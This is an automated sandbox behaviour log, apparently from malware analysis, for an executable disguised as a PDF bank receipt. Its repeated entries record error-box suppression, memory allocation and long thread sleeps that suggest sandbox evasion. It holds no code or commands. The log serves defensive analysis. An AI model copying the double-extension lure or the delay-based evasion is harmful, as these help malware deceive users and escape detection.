Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: 2C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: 2E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: 2C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: 83C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: 93C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: 9590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: A590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: A930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: B930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: C930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: 1470000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: 3090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Memory allocated: 5090000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599782	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599193	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598532	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598407	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598282	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597451	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596740	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596474	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596259	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596157	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596040	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595592	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Window / User API: threadDelayed 2069			Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Window / User API: threadDelayed 7755			Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 3628	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -37815825351104557s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -599782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -599193s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -598750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -598641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -598532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -598407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -598282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -598172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -598063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -597938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -597813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -597688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -597563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -597451s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -597219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -596740s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -596474s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -596259s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -596157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -596040s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -595703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -595592s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe TID: 7276	Thread sleep time: -593860s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599782	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599193	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598532	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598407	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598282	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597451	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596740	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596474	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596259	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596157	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 596040	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595592	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe	Thread delayed: delay time: 593860	Jump to behavior

